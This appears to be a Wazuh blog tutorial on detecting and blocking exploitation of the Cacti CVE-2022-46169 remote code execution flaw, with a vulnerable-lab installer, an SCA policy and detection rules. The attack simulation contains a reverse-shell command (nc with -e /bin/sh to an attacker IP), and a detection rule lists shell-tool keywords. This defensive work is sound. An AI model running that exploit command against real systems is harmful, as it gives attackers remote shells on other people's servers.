Cacti is a web-based open source network monitoring and graphing tool that utilizes Round Robin Database Tool (RRDTool) to create an intuitive fault management framework. Cacti provides a holistic visualization of a network infrastructure to administrators. This visualization helps with decision-making on network capacity management.
On December 15, 2022, security researchers discovered a vulnerability in Cacti that affects versions 1.2.22 and below. The CVE-2022-46169 vulnerability allows an unauthenticated user to execute remote code on the server hosting Cacti. The
remote_client_authorized function makes this possible. This function is a part of the
cacti/remote_agent.php script that checks to ensure a client has the authority to contact the Cacti server.
In this blog post, we demonstrate how to use Wazuh to detect and block an attacker from exploiting this vulnerability.
To demonstrate Wazuh capabilities for detecting the Cacti remote code execution vulnerability, we set up the following infrastructure:
1. A pre-built ready-to-use Wazuh OVA 4.3.10. Follow this guide to download the virtual machine. In this scenario, it is configured with the IP address 192.168.8.100.
2. A CentOS 7.9 server hosting a vulnerable version (v1.2.22) of Cacti. We Install the vulnerable version of Cacti using the script in the section below. This machine also has a Wazuh agent installed to collect Apache
httpd logs. In this scenario, it is configured with the IP address 192.168.8.16.
3. A Kali 2022.1 machine serves as the attacker machine. In this scenario, it is configured with the IP address 192.168.8.17.
In this section, we perform the following activities:
- Installation of a vulnerable version of Cacti.
- Configure the Wazuh agent to collect Apache httpd logs.
- Creation of a Wazuh SCA policy to detect the vulnerable versions of Cacti.
1. Create a file
cacti_installer.sh in the
# touch /tmp/cacti_installer.sh
2. Copy and paste the script below into the created file:
This script is built only for the purpose of testing this blog post and should not be used in production environments.
#!/bin/bash ##This script will facilitate the installation of Cacti along with all supporting binaries if [[ $(id -u) -ne 0 ]] ; then echo "this script must be run as root" ; sudo su ; fi echo "this script requires git" yum install -y git echo "set selinux to disabled" setenforce 0 sed -i 's/enforcing/disabled/g' /etc/selinux/config /etc/selinux/config #Download release 1.2.22 echo "Downloading Cacti v1.2.22" version=1.2.22 yum install -y wget unzip wget https://github.com/Cacti/cacti/archive/release/$version.tar.gz tar -xvf $version.tar.gz mv cacti-release-$version cacti echo "Enable Mariadb 10.4 Repo" wget https://downloads.mariadb.com/MariaDB/mariadb_repo_setup chmod +x mariadb_repo_setup ./mariadb_repo_setup echo "Enable EPEL repos" yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm -y yum install yum-utils -y yum-config-manager --enable remi-php73 echo "Downloading PHP modules needed for Cacti install" yum install -y rrdtool mariadb-server net-snmp-utils snmpd php php-mysql php-snmp php-xml php-mbstring php-json php-gd php-gmp php-zip php-ldap php-mc php-posix ###Start services systemctl enable httpd systemctl enable mariadb systemctl start mariadb systemctl start httpd ####Open Port 80 and 443 on firewalld echo "Open http and https ports on firewalld" firewall-cmd --zone=public --add-port=80/tcp --permanent firewall-cmd --zone=public --add-port=443/tcp --permanent firewall-cmd --reload ##Timezone settings needed for cacti echo "date.timezone =" US/Central >> /etc/php.ini location=/var/www/html mv cacti /var/www/html #Create cacti user and change permission of directory user="apache" echo "cacti will be run as apache" chown -R apache:apache $location/cacti #assign permissions for cacti installation chown -R apache:apache $location/cacti/resource/snmp_queries/ chown -R apache:apache $location/cacti/resource/script_server/ chown -R apache:apache $location/cacti/resource/script_queries/ chown -R apache:apache $location/cacti/scripts/ chown -R apache:apache $location/cacti/cache/boost/ chown -R apache:apache $location/cacti/cache/mibcache/ chown -R apache:apache $location/cacti/cache/realtime/ chown -R apache:apache $location/cacti/cache/spikekill/ touch $location/cacti/log/cacti.log chmod 664 $location/cacti/log/cacti.log chown -R apache:apache $location/cacti/log/ cp $location/cacti/include/config.php.dist $location/cacti/include/config.php chown -R apache:apache $location/cacti/include/config.php ###Make a backup of maria db config before making changes cp /etc/my.cnf.d/server.cnf /etc/my.cnf.d/server.cnf.backup echo "Applying recommended DB settings" echo " innodb_file_format = Barracuda character_set_client = utf8mb4 max_allowed_packet = 16777777 join_buffer_size = 32M innodb_file_per_table = ON innodb_large_prefix = 1 innodb_buffer_pool_size = 250M innodb_flush_log_at_trx_commit = 2 innodb_doublewrite = ON innodb_flush_log_at_timeout = 3 innodb_read_io_threads = 32 innodb_write_io_threads = 16 innodb_io_capacity = 5000 innodb_io_capacity_max = 10000 " >> /etc/my.cnf.d/server.cnf systemctl restart mariadb ##Create database password="$(openssl rand -base64 32)" mysql -uroot <<MYSQL_SCRIPT CREATE DATABASE cacti DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ; GRANT ALL PRIVILEGES ON cacti.* TO 'cacti'@'localhost' IDENTIFIED BY '$password'; ; GRANT SELECT ON mysql.time_zone_name TO cacti@localhost; USE mysql; ALTER DATABASE cacti CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; FLUSH PRIVILEGES; MYSQL_SCRIPT #pre populate cacti db mysql -u root cacti < $location/cacti/cacti.sql mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u root mysql sed -i -e 's@^$database_type.*@$database_type = "mysql";@g' /var/www/html/cacti/include/config.php sed -i -e 's@^$database_default.*@$database_default = "cacti";@g' /var/www/html/cacti/include/config.php sed -i -e 's@^$database_hostname.*@$database_hostname = "127.0.0.1";@g' /var/www/html/cacti/include/config.php sed -i -e 's@^$database_username.*@$database_username = 'cacti';@g' /var/www/html/cacti/include/config.php sed -i -e 's@^$database_password.*@$database_password = "'$password'";@g' /var/www/html/cacti/include/config.php sed -i -e 's@^$database_port.*@$database_port = "3306";@g' /var/www/html/cacti/include/config.php sed -i -e 's@^$database_ssl.*@$database_ssl = "false";@g' /var/www/html/cacti/include/config.php sed -i -e 's@^//$url_path@$url_path@g' /var/www/html/cacti/include/config.php echo "default database setup with following details" echo "database name cacti\n database username cacti\n database password $password" ###Adding recomended PHP settings sed -e 's/max_execution_time = 30/max_execution_time = 60/' -i /etc/php.ini sed -e 's/memory_limit = 128M/memory_limit = 400M/' -i /etc/php.ini echo "Restarting Mariadb service" systemctl restart mariadb touch /etc/cron.d/$user echo "*/5 * * * * $user php $location/cacti/poller.php > /dev/null 2>&1" > /etc/cron.d/$user echo "refreshing services" systemctl restart httpd systemctl restart mariadb echo "Setup completed. Installing cacti via the CLI" php $location/cacti/cli/install_cacti.php --accept-eula --install -d echo "Installation complete, go to http://localhost/cacti and login with admin/admin"
3. Execute the script to install Cacti and all its dependencies:
# bash /tmp/cacti_installer.sh
4. Create a host ID by adding a generic device to Cacti. The
IP values are random. They depict a machine monitored by Cacti:
# /var/www/html/cacti/cli/add_device.php --description=NewMachine --ip=22.214.171.124
5. Create a directory for the SCA policies:
# mkdir /var/sca_policies
Custom SCA policies inside the Wazuh default ruleset folders are not kept across updates. This is why the directory is created outside the Wazuh agent installation folder.
6. Create an SCA policy file
/var/sca_policies folder and add the below content:
# Wazuh # # security configuration assessment # # Audit policy to check for vulnerable Cacti installation policy: id: "Cacti_audit" file: "sca_cacti_audit.yml" name: "System audit for Cacti RCE vulnerability" description: "Check to detect if the installed version of Cacti is affected by CVE-2022-46169." references: - https://nvd.nist.gov/vuln/detail/CVE-2022-46169 - https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf - https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution requirements: title: "Check if Cacti is present on the endpoint" description: "Requirements for running the SCA scan against endpoints with Cacti installed." condition: any rules: - 'c:sh -c "ps aux | grep cacti | grep -v grep" -> r:cacti' - 'd:/var/www/html/cacti/' checks: - id: 3000 title: "Cacti: Vulnerable version detected" description: "Versions of Cacti less than 1.2.22 are vulnerable to CVE-2022-46169. This endpoint is vulnerable to CVE-2022-46169 Remote Code Execution." rationale: "An unauthenticated user can execute remote code on the server hosting Cacti by manipulating the remote_client_authorized function in the cacti/remote_agent.php script" remediation: "Upgrade your Cacti installation to a version higher than v1.2.22" condition: all rules: - 'f:/var/www/html/cacti/include/cacti_version -> !n:^(\d+).\d+.\d+ compare <= 1 && !n:^\d+.(\d+).\d+ compare <= 2 && !n:^\d+.\d+.(\d+) compare <= 22'
7. Change the owner and group of the
sca_cacti_audit.yml file to
# chown wazuh:wazuh /var/sca_policies/sca_cacti_audit.yml
8. Add the configuration below to the Wazuh agent
/var/ossec/etc/ossec.conf file to collect Apache httpd access logs and enable the SCA policy:
<localfile> <!-- Logcollector for Apache Access Logs --> <log_format>syslog</log_format> <location>/var/log/httpd/access_log</location> </localfile> <sca> <policies> <policy>/var/sca_policies/sca_cacti_audit.yml</policy> </policies> </sca>
9. Restart the Wazuh agent service to apply the configuration changes:
# systemctl restart wazuh-agent
In this section, we perform the following activities:
- Creation of custom rules to detect when there is an attempt to exploit the vulnerability.
- Configure Wazuh active response to block exploitation attempts from an attacker.
1. Add the following rules to the
<group name="Cacti,Local,Syslog"> <!-- Rules for detecting Cacti RCE CVE-2022-46169 --> <!-- This rule monitors the Apache httpd logs for GET requests made to the vulnerable remote_agent.php file --> <rule id="100301" level="0"> <if_sid>31100</if_sid> <url>^/cacti/remote_agent.php?action=polldata</url> <description>Possible Cacti RCE Activity</description> </rule> <!-- This rule checks for common commands associated with an RCE. --> <rule id="100302" level="12"> <if_sid>100301</if_sid> <url>bin|sh|cmd|bash|exec|nc|ngrok</url> <description>Cacti RCE - CVE-2022-46169 detected from $(srcip).</description> <mitre> <id>1078</id> </mitre> </rule> </group>
2. Edit the
/var/ossec/etc/ossec.conf file and add the following command and active response block:
<command> <name>firewalld-drop</name> <executable>firewalld-drop</executable> <timeout_allowed>yes</timeout_allowed> </command> <active-response> <command>firewalld-drop</command> <location>local</location> <rules_id>100302</rules_id> </active-response>
<command>: Specifies the command that would be executed by active response. firewall-drop executes
firewall-cmdcommands to block IP addresses.
<location>: Specifies the location where the command executes.
Localmeans that the command would execute on the reporting monitored endpoint.
<rules_id>: Specifies the rule that triggers the active response event. Here, an active response would trigger if the rule with ID
Cacti RCE - CVE-2022-46169 detected) occurs.
3. Restart the Wazuh manager to apply the changes:
# systemctl restart wazuh-manager
Cacti RCE attack simulation
We use the following PoC exploit to simulate a remote code execution attack against the vulnerable Cacti server. Perform the following steps on the attacker machine:
1. Set up a Netcat listener to catch a reverse shell that might be created by the exploit, using the command below:
# nc -nvlp 4444
listening on [any] 4444 ...
2. Open a separate terminal to download the PoC exploit:
# git clone https://github.com/sAsPeCt488/CVE-2022-46169.git
3. Run the PoC exploit:
We execute a command to try to create a reverse shell on TCP port
4444 to our attacker endpoint. This exploit launches the vulnerable
remote_agent.php file. We then pass any arbitrary command which would be executed by the Cacti server.
# cd CVE-2022-46169 # python3 CVE-2022-46169.py http://<CACTI_IP_ADDRESS>/cacti -c 'nc <KALI_IP_ADDRESS> 4444 -e /bin/sh'
<KALI_IP_ADDRESS> with the IP address for your Cacti server and Kali endpoint.
[*] Trying for 1 - 100 host ids
After a few seconds, the listener we have set up might be presented with a reverse shell from the vulnerable Cacti server:
connect to [192.168.8.17] from (UNKNOWN) [192.168.8.16] 33418
4. Ping the Cacti server to confirm the Wazuh active response module blocked the attacker endpoint after it spawned the shell:
# ping -c 2 192.168.8.16
PING 192.168.8.16 (192.168.8.16) 56(84) bytes of data. --- 192.168.8.16 ping statistics --- 2 packets transmitted, 0 received, 100% packet loss, time 1100ms
Visualizing the alerts on the Wazuh dashboard
SCA scan result
From the SCA dashboard, navigate to agents > <AGENT ID> to view the SCA scan result:
On the Wazuh dashboard, navigate to Modules > Security events to visualize the alerts associated with our Cacti remote code execution (CVE-2022-46169) detection rule.
In this blog post, we demonstrated how to detect the Cacti CVE-2022-46169 vulnerability and block exploitation attempts. We detected an installation of a vulnerable version of Cacti using the Wazuh SCA module. We also detected and blocked exploitation attempts using a combination of custom rules and the active response module.
To remediate the vulnerability, administrators are advised to update Cacti to a version higher than 1.2.22.
Wazuh is a free and open source SIEM and XDR solution. Wazuh is deployed and managed on-premises, or on our Wazuh cloud. Check our community for support and updates.